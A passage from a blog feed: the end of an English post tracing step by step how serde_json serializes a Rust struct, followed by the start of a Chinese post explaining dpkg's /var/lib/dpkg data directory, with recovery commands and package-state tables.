        String::from_utf8_unchecked(vec)
    };
    Ok(string)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;serde_json&lt;&#x2F;code&gt; provides a number of entry points depending on exactly how you plan to use the resulting JSON. In our case we wanted to trace the &lt;code&gt;to_string&lt;&#x2F;code&gt; path, but we can quickly see that it just dispatches to &lt;code&gt;to_vec&lt;&#x2F;code&gt;, which itself dispatches to &lt;code&gt;to_writer&lt;&#x2F;code&gt;, which is where the first interesting work happens.&lt;&#x2F;p&gt;
&lt;p&gt;A &lt;code&gt;Serializer&lt;&#x2F;code&gt; is created, which takes ownership of an &lt;code&gt;io::Write&lt;&#x2F;code&gt; (which is really an &lt;code&gt;&amp;amp;mut Vec&amp;lt;u8&amp;gt;&lt;&#x2F;code&gt; in our case. Then a mutable reference to that &lt;code&gt;Serializer&lt;&#x2F;code&gt; is passed to the &lt;code&gt;serialize&lt;&#x2F;code&gt; method on our &lt;code&gt;Point&lt;&#x2F;code&gt; struct with &lt;code&gt;value.serialize(&amp;amp;mut ser)&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;serialize&lt;&#x2F;code&gt; method is part of the &lt;code&gt;Serialize&lt;&#x2F;code&gt; trait. The trait definition is in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;serde-rs&#x2F;serde&#x2F;blob&#x2F;4eb580790dd6c96089b92942a5f481b21df4feaf&#x2F;serde&#x2F;src&#x2F;ser&#x2F;mod.rs#L246&quot;&gt;the Serde crate&lt;&#x2F;a&gt;, but right now I&#x27;m interested in the trait implementation for our &lt;code&gt;Point&lt;&#x2F;code&gt; struct, which is generated because of the &lt;code&gt;#[derive(Serialize)]&lt;&#x2F;code&gt; attribute. Using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dtolnay&#x2F;cargo-expand&quot;&gt;cargo-expand&lt;&#x2F;a&gt; allows you to see the output of the derive macro.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; crate: Sample application
&amp;#x2F;&amp;#x2F; Code generated by the #[derive(Serialize)] macro

use serde::{Serialize, Serializer, ser::SerializeStruct};

impl serde::Serialize for Point {
	fn serialize&amp;lt;S&amp;gt;(&amp;amp;self, serializer: S) -&amp;gt; serde::export::Result&amp;lt;S::Ok, S::Error&amp;gt;
	where
		S: Serializer,
	{
		let mut serde_state = match Serializer::serialize_struct(
			serializer,
			&amp;quot;Point&amp;quot;,
			false as usize + 1 + 1,
		) {
			serde::export::Ok(val) =&amp;gt; val,
			serde::export::Err(err) =&amp;gt; {
				return serde::export::Err(err);
			}
		};
		match SerializeStruct::serialize_field(&amp;amp;mut serde_state, &amp;quot;x&amp;quot;, &amp;amp;self.x) {
			serde::export::Ok(val) =&amp;gt; val,
			serde::export::Err(err) =&amp;gt; {
				return serde::export::Err(err);
			}
		};
		match SerializeStruct::serialize_field(&amp;amp;mut serde_state, &amp;quot;y&amp;quot;, &amp;amp;self.y) {
			serde::export::Ok(val) =&amp;gt; val,
			serde::export::Err(err) =&amp;gt; {
				return serde::export::Err(err);
			}
		};
		SerializeStruct::end(serde_state)
	}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Before diving into this code, I want to note that I did modify it a small amount to improve readability. Serde uses several tricks to ensure that the code it generates works in all environments. While those tricks are interesting, they are not the focus of today&#x27;s investigation.&lt;&#x2F;p&gt;
&lt;p&gt;There is one trick I did leave in place however, and that is the way Serde calls trait methods. You can see this in the very first line of the method where &lt;code&gt;Serializer::serialize_struct&lt;&#x2F;code&gt; is called and &lt;code&gt;serializer&lt;&#x2F;code&gt; is passed in, as oppposed to the more common &lt;code&gt;serializer.serialize_struct&lt;&#x2F;code&gt;. This disambiguates the &lt;code&gt;Serializer::serialize_struct&lt;&#x2F;code&gt; method from any other &lt;code&gt;serialize_struct&lt;&#x2F;code&gt; method which may exist, and I left it in place because changing it felt like it moved the demo code too far away from the actual code.&lt;&#x2F;p&gt;
&lt;p&gt;Getting back to our analysis now, we were tracing the call in &lt;code&gt;serde_json&lt;&#x2F;code&gt; to &lt;code&gt;&amp;amp;point.serialize(&amp;amp;mut serializer)&lt;&#x2F;code&gt; where &lt;code&gt;serializer&lt;&#x2F;code&gt; is a &lt;code&gt;serde_json&lt;&#x2F;code&gt; specific implementation of the &lt;code&gt;Serializer&lt;&#x2F;code&gt; trait. The first thing that happens in this function is it calls the &lt;code&gt;serialize_struct&lt;&#x2F;code&gt; method on the serializer, passing it some information about this struct (the name and the number of fields in the struct). If you are familiar with other programming languages, you may recognize this information as things you could get from a type at runtime via reflection. The &lt;code&gt;#[derive(Serialize)]&lt;&#x2F;code&gt; macro exists basically as a high performance work around to the fact that this type information isn&#x27;t available at runtime in Rust.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;serde-rs&amp;#x2F;json&amp;#x2F;blob&amp;#x2F;10132f800fd1223ac698fa8c41b201dca152c413&amp;#x2F;src&amp;#x2F;ser.rs#L427
&amp;#x2F;&amp;#x2F; crate: serde-json
impl serde::Serialize for Serializer {
	&amp;#x2F;&amp;#x2F; ..many methods omitted

    fn serialize_struct(self, name: &amp;amp;&amp;#x27;static str, len: usize) -&amp;gt; Result&amp;lt;Self::SerializeStruct&amp;gt; {
        match name {
            _ =&amp;gt; self.serialize_map(Some(len)),
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As you are likely aware, JSON does not have any way to serialize a named struct, so the &lt;code&gt;serialize_struct&lt;&#x2F;code&gt; method on the &lt;code&gt;serde_jsonSerializer&lt;&#x2F;code&gt; simply dispatches to &lt;code&gt;self.serialize_map&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;serde-rs&amp;#x2F;json&amp;#x2F;blob&amp;#x2F;10132f800fd1223ac698fa8c41b201dca152c413&amp;#x2F;src&amp;#x2F;ser.rs#L394
&amp;#x2F;&amp;#x2F; crate: serde-json
impl serde::Serialize for Serializer {
	&amp;#x2F;&amp;#x2F; ..many methods omitted

    fn serialize_map(self, len: Option&amp;lt;usize&amp;gt;) -&amp;gt; Result&amp;lt;Self::SerializeMap&amp;gt; {
        if len == Some(0) {
			&amp;#x2F;&amp;#x2F; .. omitted code to build an empty JSON object &amp;#x27;{}&amp;#x27;
        } else {
            try!(self
                .formatter
                .begin_object(&amp;amp;mut self.writer)
                .map_err(Error::io));
            Ok(Compound::Map {
                ser: self,
                state: State::First,
            })
        }
    }
}

&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;serde-rs&amp;#x2F;json&amp;#x2F;blob&amp;#x2F;10132f800fd1223ac698fa8c41b201dca152c413&amp;#x2F;src&amp;#x2F;ser.rs#L1852
trait Formatter {
	&amp;#x2F;&amp;#x2F; ..many methods omitted

    fn begin_object&amp;lt;W: ?Sized&amp;gt;(&amp;amp;mut self, writer: &amp;amp;mut W) -&amp;gt; io::Result&amp;lt;()&amp;gt;
    where
        W: io::Write,
    {
        writer.write_all(b&amp;quot;{&amp;quot;)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A keen eye may have noticed that when we called &lt;code&gt;serialize_map&lt;&#x2F;code&gt; we passed in the number of fields in the struct. This is a bit odd since JSON doesn&#x27;t need this information for serialization, and indeed we can see now that unless the length is zero the length information is ignored.&lt;&#x2F;p&gt;
&lt;p&gt;We are now ready to serialize our first byte. &lt;code&gt;self.formatter.begin_object&lt;&#x2F;code&gt; takes a mutable reference to our &lt;code&gt;Vec&amp;lt;u8&amp;gt;&lt;&#x2F;code&gt; and writes a single character, the open curly brace, which represents the start of a JSON map.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;serialize_map&lt;&#x2F;code&gt; method finishes by creating a &lt;code&gt;Compound::Map&lt;&#x2F;code&gt; which stores the serializer itself as well as a state enum with the value &lt;code&gt;State::First&lt;&#x2F;code&gt;. The important thing is that this return type implements the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;serde-rs&#x2F;serde&#x2F;blob&#x2F;4eb580790dd6c96089b92942a5f481b21df4feaf&#x2F;serde&#x2F;src&#x2F;ser&#x2F;mod.rs#L1865&quot;&gt;serde::ser::SerializeStruct trait&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; crate: Sample application
&amp;#x2F;&amp;#x2F; Code generated by the #[derive(Serialize)] macro
&amp;#x2F;&amp;#x2F; Repeated from above for clarity

use serde::{Serialize, Serializer, ser::SerializeStruct};

impl serde::Serialize for Point {
	fn serialize&amp;lt;S&amp;gt;(&amp;amp;self, serializer: S) -&amp;gt; serde::export::Result&amp;lt;S::Ok, S::Error&amp;gt;
	where
		S: Serializer,
	{
		let mut serde_state = match Serializer::serialize_struct(
			serializer,
			&amp;quot;Point&amp;quot;,
			false as usize + 1 + 1,
		) {
			serde::export::Ok(val) =&amp;gt; val,
			serde::export::Err(err) =&amp;gt; {
				return serde::export::Err(err);
			}
		};
		match SerializeStruct::serialize_field(&amp;amp;mut serde_state, &amp;quot;x&amp;quot;, &amp;amp;self.x) {
			serde::export::Ok(val) =&amp;gt; val,
			serde::export::Err(err) =&amp;gt; {
				return serde::export::Err(err);
			}
		};
		match SerializeStruct::serialize_field(&amp;amp;mut serde_state, &amp;quot;y&amp;quot;, &amp;amp;self.y) {
			serde::export::Ok(val) =&amp;gt; val,
			serde::export::Err(err) =&amp;gt; {
				return serde::export::Err(err);
			}
		};
		SerializeStruct::end(serde_state)
	}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Popping off the stack now we are back to our &lt;code&gt;serde::Serialize&lt;&#x2F;code&gt; impl for &lt;code&gt;Point&lt;&#x2F;code&gt;, which I&#x27;ve repeated here for clarity. We now know &lt;code&gt;serde_state&lt;&#x2F;code&gt; is a &lt;code&gt;Compound::Map&lt;&#x2F;code&gt; from &lt;code&gt;serde-json&lt;&#x2F;code&gt;. Up next are two calls to &lt;code&gt;serialize_field&lt;&#x2F;code&gt; and then a call to &lt;code&gt;end&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;serde-rs&amp;#x2F;json&amp;#x2F;blob&amp;#x2F;10132f800fd1223ac698fa8c41b201dca152c413&amp;#x2F;src&amp;#x2F;ser.rs#L755
&amp;#x2F;&amp;#x2F; crate: serde-json

impl&amp;lt;&amp;#x27;a, W, F&amp;gt; ser::SerializeStruct for Compound&amp;lt;&amp;#x27;a, W, F&amp;gt;
where
    W: io::Write,
    F: Formatter,
{
    type Ok = ();
    type Error = Error;

    fn serialize_field&amp;lt;T: ?Sized&amp;gt;(&amp;amp;mut self, key: &amp;amp;&amp;#x27;static str, value: &amp;amp;T) -&amp;gt; Result&amp;lt;()&amp;gt;
    where
        T: Serialize,
    {
        match *self {
            Compound::Map { .. } =&amp;gt; {
                try!(ser::SerializeMap::serialize_key(self, key));
                ser::SerializeMap::serialize_value(self, value)
            }
			&amp;#x2F;&amp;#x2F; .. omitted other enum options
        }
    }

    fn end(self) -&amp;gt; Result&amp;lt;()&amp;gt; {
        match self {
            Compound::Map { .. } =&amp;gt; ser::SerializeMap::end(self),
			&amp;#x2F;&amp;#x2F; .. omitted other enum options
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As with the &lt;code&gt;Serializer&lt;&#x2F;code&gt;, the &lt;code&gt;SerializeStruct&lt;&#x2F;code&gt; methods do nothing more than dispatch to the &lt;code&gt;SerializeMap&lt;&#x2F;code&gt; implementations.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;serde-rs&amp;#x2F;json&amp;#x2F;blob&amp;#x2F;10132f800fd1223ac698fa8c41b201dca152c413&amp;#x2F;src&amp;#x2F;ser.rs#L673
&amp;#x2F;&amp;#x2F; crate: serde-json

impl&amp;lt;&amp;#x27;a, W, F&amp;gt; ser::SerializeMap for Compound&amp;lt;&amp;#x27;a, W, F&amp;gt;
where
    W: io::Write,
    F: Formatter,
{
    type Ok = ();
    type Error = Error;

    fn serialize_key&amp;lt;T: ?Sized&amp;gt;(&amp;amp;mut self, key: &amp;amp;T) -&amp;gt; Result&amp;lt;()&amp;gt;
    where
        T: Serialize,
    {
        match *self {
            Compound::Map {
                ref mut ser,
                ref mut state,
            } =&amp;gt; {
                try!(ser
                    .formatter
                    .begin_object_key(&amp;amp;mut ser.writer, *state == State::First)
                    .map_err(Error::io));
                *state = State::Rest;

                try!(key.serialize(MapKeySerializer { ser: *ser }));

                try!(ser
                    .formatter
                    .end_object_key(&amp;amp;mut ser.writer)
                    .map_err(Error::io));
                Ok(())
            }
			&amp;#x2F;&amp;#x2F; .. omitted other enum options
		}
    }

    fn serialize_value&amp;lt;T: ?Sized&amp;gt;(&amp;amp;mut self, value: &amp;amp;T) -&amp;gt; Result&amp;lt;()&amp;gt;
    where
        T: Serialize,
    {
        match *self {
            Compound::Map { ref mut ser, .. } =&amp;gt; {
                try!(ser
                    .formatter
                    .begin_object_value(&amp;amp;mut ser.writer)
                    .map_err(Error::io));
                try!(value.serialize(&amp;amp;mut **ser));
                try!(ser
                    .formatter
                    .end_object_value(&amp;amp;mut ser.writer)
                    .map_err(Error::io));
                Ok(())
            }
			&amp;#x2F;&amp;#x2F; .. omitted other enum options
		}
    }

    fn end(self) -&amp;gt; Result&amp;lt;()&amp;gt; {
        match self {
            Compound::Map { ser, state } =&amp;gt; {
                match state {
                    State::Empty =&amp;gt; {}
                    _ =&amp;gt; try!(ser.formatter.end_object(&amp;amp;mut ser.writer).map_err(Error::io)),
                }
                Ok(())
            }
			&amp;#x2F;&amp;#x2F; .. omitted other enum options
		}
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That is a big code block, so even though we will jump back to it a few times I am not going to duplicate it. Instead, from here on out, rather than inlining the code I&#x27;m just going to link to it. I encourage you to follow along by clicking through the links and reviewing the code nonetheless.&lt;&#x2F;p&gt;
&lt;p&gt;We enter here though the &lt;code&gt;serialize_key&lt;&#x2F;code&gt; method. The first method call of interest is to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;serde-rs&#x2F;json&#x2F;blob&#x2F;10132f800fd1223ac698fa8c41b201dca152c413&#x2F;src&#x2F;ser.rs#L1871&quot;&gt;begin_object_key&lt;&#x2F;a&gt; on our formatter. Interestingly, this method uses the state enum we saw earlier to determine whether it should write a &quot;,&quot; to our &lt;code&gt;Vec&amp;lt;u8&amp;gt;&lt;&#x2F;code&gt; (you don&#x27;t need a comma before the first field).&lt;&#x2F;p&gt;
&lt;p&gt;Next we call &lt;code&gt;key.serialize&lt;&#x2F;code&gt; and pass a &lt;code&gt;MapKeySerializer&lt;&#x2F;code&gt;, which &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;serde-rs&#x2F;json&#x2F;blob&#x2F;10132f800fd1223ac698fa8c41b201dca152c413&#x2F;src&#x2F;ser.rs#L869&quot;&gt;implements Serializer&lt;&#x2F;a&gt;. In all cases &lt;code&gt;key&lt;&#x2F;code&gt; is a &lt;code&gt;&amp;amp;&#x27;static str&lt;&#x2F;code&gt; (you can see this in the &lt;code&gt;impl SerializeStruct for Compound&lt;&#x2F;code&gt; block, but intuitively it is because the struct field names are known at compile time). &lt;code&gt;key.serialize&lt;&#x2F;code&gt; immediately calls back to our &lt;code&gt;MapKeySerializer&lt;&#x2F;code&gt; with &lt;code&gt;serializer.serialize_str&lt;&#x2F;code&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;serde-rs&#x2F;serde&#x2F;blob&#x2F;4eb580790dd6c96089b92942a5f481b21df4feaf&#x2F;serde&#x2F;src&#x2F;ser&#x2F;impls.rs#L43&quot;&gt;as shown in the impl Serialize for str block&lt;&#x2F;a&gt; which &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;serde-rs&#x2F;json&#x2F;blob&#x2F;10132f800fd1223ac698fa8c41b201dca152c413&#x2F;src&#x2F;ser.rs#L879&quot;&gt;dispatches&lt;&#x2F;a&gt; back to our &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;serde-rs&#x2F;json&#x2F;blob&#x2F;10132f800fd1223ac698fa8c41b201dca152c413&#x2F;src&#x2F;ser.rs#L223&quot;&gt;root serializer&#x27;s serialize_str method&lt;&#x2F;a&gt; which itself calls &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;serde-rs&#x2F;json&#x2F;blob&#x2F;10132f800fd1223ac698fa8c41b201dca152c413&#x2F;src&#x2F;ser.rs#L2065&quot;&gt;format_escaped_str&lt;&#x2F;a&gt; to write the actual bytes, &lt;code&gt;&quot;x&quot;&lt;&#x2F;code&gt;, to our &lt;code&gt;Vec&amp;lt;u8&amp;gt;&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;serialize_key&lt;&#x2F;code&gt; method ends with a call to our formatter&#x27;s &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;serde-rs&#x2F;json&#x2F;blob&#x2F;10132f800fd1223ac698fa8c41b201dca152c413&#x2F;src&#x2F;ser.rs#L1886&quot;&gt;end_object_key method&lt;&#x2F;a&gt;, which does nothing. If you are curious, it is the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;serde-rs&#x2F;json&#x2F;blob&#x2F;10132f800fd1223ac698fa8c41b201dca152c413&#x2F;src&#x2F;ser.rs#L1897&quot;&gt;begin_object_value method&lt;&#x2F;a&gt;, called at the start of &lt;code&gt;serialize_value&lt;&#x2F;code&gt; which writes the colon that is required between the key and the value in JSON maps.&lt;&#x2F;p&gt;
&lt;p&gt;At this point things start getting a bit repetitive. The &lt;code&gt;serialize_value&lt;&#x2F;code&gt; method works nearly identically to the &lt;code&gt;serialize_key&lt;&#x2F;code&gt; method. Then both methods are repeated for the &lt;code&gt;y&lt;&#x2F;code&gt; field on our &lt;code&gt;Point&lt;&#x2F;code&gt;, then we ask the formatter to print the closing curly brace.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;I realize that this post explains more of the &#x27;how&#x27; than the &#x27;why&#x27;, and that may not be satisfying to some readers. While I can trace through the program mechanically, I am only starting to become comfortable with it on a conceptual level. Certainly I need to mull things over a bit more before I could claim to fully understand why things are the way they are.&lt;&#x2F;p&gt;
&lt;p&gt;But what about my original guess for the implementation? One thing I have taken away from this is that Serde is very focused on performance. My original approach would have involved allocating an intermediate struct, which is likely a deal breaker when compared to the performance of the actual implementation.&lt;&#x2F;p&gt;
&lt;p&gt;The thing I missed originally was that the Serde data model doesn&#x27;t come in the form of a struct or enum, but rather in the form of functions which are implemented by each data format as the Serializer trait. The derive macro generates an implementation of the Serialize (not Serializer) trait, which drives the serializer by calling the appropriate methods on the serializer based on the type of Rust data structure being serialized. Beyond that, its all implementation details.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>dpkg 命令分析之数据目录</title>
        <published>2024-07-17T00:00:00+00:00</published>
        <updated>2024-07-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/dpkg-命令分析之数据目录/"/>
        <id>https://vercel.juzhong.asia/obsidian/dpkg-命令分析之数据目录/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/dpkg-命令分析之数据目录/">&lt;h1 id=&quot;dpkg-ming-ling-fen-xi-zhi-shu-ju-mu-lu&quot;&gt;dpkg 命令分析之数据目录&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;wu-shan-var-lib-dpkgmu-lu&quot;&gt;误删&#x2F;var&#x2F;lib&#x2F;dpkg目录&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1、创建dpkg目录以及其子文件夹:
mkdir -p &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;dpkg&amp;#x2F;{alternatives,info,parts,triggers,updates}
# 2、从备份目录复制一份status过来:
cp &amp;#x2F;var&amp;#x2F;backups&amp;#x2F;dpkg.status.0 &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;dpkg&amp;#x2F;status
# 3、下载dpkg:
apt-get download dpkg
# 4、安装dpkg:
dpkg -i dpkg *.deb
# 5、下载base-files:
apt-get download base-files
# 6、安装base-files:
dpkg -i base-files*.deb
# 7、配置audit规则:
dpkg --audit
# 8、更新:
sudo apt-get update
# 9、检查是否有损坏的依赖:
sudo apt-get check
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;wu-shan-dpkgde-var-lib-dpkg-infowen-jian-jia-dao-zhi-an-zhuang-wen-jian-de-shi-hou-bao-cuo&quot;&gt;误删dpkg的&#x2F;var&#x2F;lib&#x2F;dpkg&#x2F;info文件夹，导致安装文件的时候报错&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
set -e

# Clean out &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;apt&amp;#x2F;archives
apt-get clean
# Fill it with all the .debs we need
apt-get --reinstall -dy install $(dpkg --get-selections | grep &amp;#x27;[[:space:]]install&amp;#x27; | cut -f1)

DIR=$(mktemp -d -t info-XXXXXX)
for deb in &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;apt&amp;#x2F;archives&amp;#x2F;*.deb
do
    # Move to working directory
    cd &amp;quot;$DIR&amp;quot;
    # Create DEBIAN directory
    mkdir -p DEBIAN
    # Extract control files
    dpkg-deb -e &amp;quot;$deb&amp;quot;
    # Extract file list, fixing up the leading .&amp;#x2F; and turning &amp;#x2F; into &amp;#x2F;.
    dpkg-deb -c &amp;quot;$deb&amp;quot; | awk &amp;#x27;{print $NF}&amp;#x27; | cut -c2- | sed -e &amp;#x27;s&amp;#x2F;^\&amp;#x2F;$&amp;#x2F;\&amp;#x2F;.&amp;#x2F;&amp;#x27; &amp;gt; DEBIAN&amp;#x2F;list
    # Figure out binary package name
    DEB=$(basename &amp;quot;$deb&amp;quot; | cut -d_ -f1)
    # Copy each control file into place
    cd DEBIAN
    for file in *
    do
        cp -a &amp;quot;$file&amp;quot; &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;dpkg&amp;#x2F;info&amp;#x2F;&amp;quot;$DEB&amp;quot;.&amp;quot;$file&amp;quot;
    done
    # Clean up
    cd ..
    rm -rf DEBIAN
done
rmdir &amp;quot;$DIR&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;var-lib-dpkg-mu-lu&quot;&gt;&#x2F;var&#x2F;lib&#x2F;dpkg 目录&lt;&#x2F;h3&gt;
&lt;p&gt;&#x2F;var&#x2F;lib&#x2F;dpkg 是 dpkg 命令使用的一个重要目录，dpkg 命令的一些重要子命令依赖此目录中的文件运作，本文对此目录下的文件功能进行描述。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;man-dpkg-huo-qu-dao-de-xin-xi&quot;&gt;man dpkg 获取到的信息&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;manual&quot; class=&quot;language-manual &quot;&gt;&lt;code class=&quot;language-manual&quot; data-lang=&quot;manual&quot;&gt;       The other files listed below are in their default directories, see option --admindir to see how to change locations of these files.

       &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;dpkg&amp;#x2F;available
              List of available packages.

       &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;dpkg&amp;#x2F;status
              Statuses of available packages. This file contains information about whether a package is marked for removing or not, whether it is installed or not, etc.
              See section INFORMATION ABOUT PACKAGES for more info.

              The status file is backed up daily in &amp;#x2F;var&amp;#x2F;backups. It can be useful if it&amp;#x27;s lost or corrupted due to filesystems troubles.

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;manual 提到的 &#x2F;var&#x2F;lib&#x2F;dpkg 下的两个重要文件及其功能列表如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;文件&lt;&#x2F;th&gt;&lt;th&gt;功能&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&#x2F;var&#x2F;lib&#x2F;dpkg&#x2F;available&lt;&#x2F;td&gt;&lt;td&gt;可用包列表&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&#x2F;var&#x2F;lib&#x2F;dpkg&#x2F;status&lt;&#x2F;td&gt;&lt;td&gt;可用包的状态&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&#x2F;var&#x2F;lib&#x2F;dpkg&#x2F;status 额外存储一个包是否处于标记移除、标记安装等状态。包的状态信息可以分为如下类别：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Package states&lt;&#x2F;li&gt;
&lt;li&gt;Package seletion states&lt;&#x2F;li&gt;
&lt;li&gt;Package flag&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这三个类别还有子类，下面列举其子类的功能。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-package-states&quot;&gt;1. Package states&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;状态&lt;&#x2F;th&gt;&lt;th&gt;描述&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;not-installed&lt;&#x2F;td&gt;&lt;td&gt;包未在系统中安装&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;config-files&lt;&#x2F;td&gt;&lt;td&gt;系统中只安装了包的配置文件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;half-installed&lt;&#x2F;td&gt;&lt;td&gt;安装已经开始却因为某种原因还未结束&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;unpacked&lt;&#x2F;td&gt;&lt;td&gt;包已经解压但还未配置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;half-configured&lt;&#x2F;td&gt;&lt;td&gt;包已经解压并开始配置，但是由于某种原因还未完成&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;trigger-awaited&lt;&#x2F;td&gt;&lt;td&gt;包等待其它包触发器处理&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;trigger-pending&lt;&#x2F;td&gt;&lt;td&gt;触发器已经被触发&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;installed&lt;&#x2F;td&gt;&lt;td&gt;包被正确解压并配置完成&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;2-package-selection-states&quot;&gt;2. Package selection states&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;状态&lt;&#x2F;th&gt;&lt;th&gt;描述&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
